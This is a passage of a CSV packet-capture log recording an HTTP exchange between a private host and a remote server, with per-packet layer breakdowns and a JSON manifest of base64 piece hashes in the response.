67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d7852585a,\"{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZ\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 48827, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59688, \"\"src\"\": \"\"194.36.32.204\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64005, \"\"seq\"\": 722712367, \"\"ack\"\": 2078836110, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 37638, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": \"\"bytes\"\", \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": null, \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": \"\"1\"\", \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"public,max-age=172800\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"3793\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": \"\"default-src 'self' http: https: data: blob: 'unsafe-inline'\"\", \"\"Content_Type\"\": \"\"application/json\"\", \"\"Date\"\": \"\"Thu, 09 Jul 2026 12:29:43 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": \"\"Mon, 13 Oct 2025 22:35:46 GMT\"\", \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": \"\"nginx\"\", \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": \"\"1.1 varnish\"\", \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": \"\"SAMEORIGIN\"\", \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": \"\"1; mode=block\"\", \"\"Unknown_Headers\"\": \"\"{b'X-Served-By': b'cache-fra-eddf8230077-FRA', b'X-Cache': b'HIT', b'X-Cache-Hits': b'1', b'X-Timer': b'S1760461210.152831,VS0,VE1', b'X-CID': b'10006', b'X-CCC': b'8b3b1af9-d773-476c-b393-1a964769490d', b'X-Cache-Status': b'STALE'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"MajorVersion\\\"\":1,\\\"\"MinorVersion\\\"\":0,\\\"\"HashOfHashes\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"HashOfHashesString\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"ContentLength\\\"\":79240605,\\\"\"PieceSize\\\"\":1048576,\\\"\"Pieces\\\"\":[\\\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\"\",\\\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\"\",\\\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\"\",\\\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\"\",\\\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\"\",\\\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\"\",\\\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\"\",\\\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\"\",\\\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\"\",\\\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\"\",\\\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\"\",\\\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\"\",\\\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\"\",\\\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\"\",\\\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\"\",\\\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\"\",\\\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\"\",\\\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\"\",\\\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\"\",\\\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\"\",\\\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\"\",\\\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\"\",\\\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\"\",\\\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\"\",\\\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\"\",\\\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\"\",\\\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\"\",\\\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\"\",\\\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\"\",\\\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\"\",\\\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\"\",\\\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\"\",\\\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\"\",\\\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\"\",\\\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\"\",\\\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\"\",\\\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\"\",\\\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\"\",\\\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\"\",\\\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\"\",\\\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\"\",\\\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\"\",\\\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\"\",\\\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\"\",\\\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\"\",\\\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\"\",\\\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\"\",\\\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\"\",\\\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\"\",\\\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\"\",\\\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\"\",\\\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\"\",\\\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\"\",\\\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\"\",\\\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZ\"\"}}]\"\n2026-07-09 12:29:43.475607,7,TCP 10.152.152.11:64005 -> 194.36.32.204:80,10.152.152.11,194.36.32.204,64005,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=2078836110 Ack=722715783,bc24112907bbbc2411360d0c08004500002828f8400080064c440a98980bc22420ccfa0500507be8858e2b13c487501004023ad70000,\".$.)...$.6\n...E..((.@...LD\n....$ ....P{...+...P...:...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10488, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19524, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.204\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 80, \"\"seq\"\": 2078836110, \"\"ack\"\": 722715783, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 15063, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 12:29:43.479472,8,TCP 194.36.32.204:80 -> 10.152.152.11:64005,194.36.32.204,10.152.152.11,80,64005,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=722715783 Ack=2078836110,bc2411360d0cbc24112907bb08004500040cbebe40004006f299c22420cc0a98980b0050fa052b13c4877be8858e5018003f8992000057336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d,\"W3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1036, \"\"id\"\": 48830, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62105, \"\"src\"\": \"\"194.36.32.204\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64005, \"\"seq\"\": 722715783, \"\"ack\"\": 2078836110, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 35218, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"W3geU=\\\"\",\\\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\"\",\\\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\"\",\\\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\"\",\\\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\"\",\\\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\"\",\\\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\"\",\\\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\"\",\\\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\"\",\\\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\"\",\\\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\"\",\\\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\"\",\\\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\"\",\\\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\"\",\\\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\"\",\\\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\"\",\\\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\"\",\\\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\"\",\\\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\"\",\\\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\"\",\\\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\"\",\\\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"\"]}\"\"}}]\"\n2026-07-09 12:29:43.479603,9,TCP 10.152.152.11:64005 -> 194.36.32.204:80,10.152.152.11,194.36.32.204,64005,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=2078836110 Ack=722716779,bc24112907bbbc2411360d0c08004500002828f9400080064c430a98980bc22420ccfa0500507be8858e2b13c86b501003fe36f70000,\".$.)...$.6\n...E..((.@...LC\n....$ ....P{...+..kP...6...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10489, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19523, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.204\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 80, \"\"seq\"\": 2078836110, \"\"ack\"\": 722716779, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 14071, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 12:29:53.541705,10,TCP 194.36.32.204:80 -> 10.152.152.11:64005,194.36.32.204,10.152.152.11,80,64005,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=722716779 Ack=2078836110,bc2411360d0cbc24112907bb080045000028bebf40004006f67cc22420cc0a98980b0050fa052b13c86b7be8858e5011003f85ae0000,\".$.6\n..$.)....E..(..@.@..|.$ .\n....P..+..k{...P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", 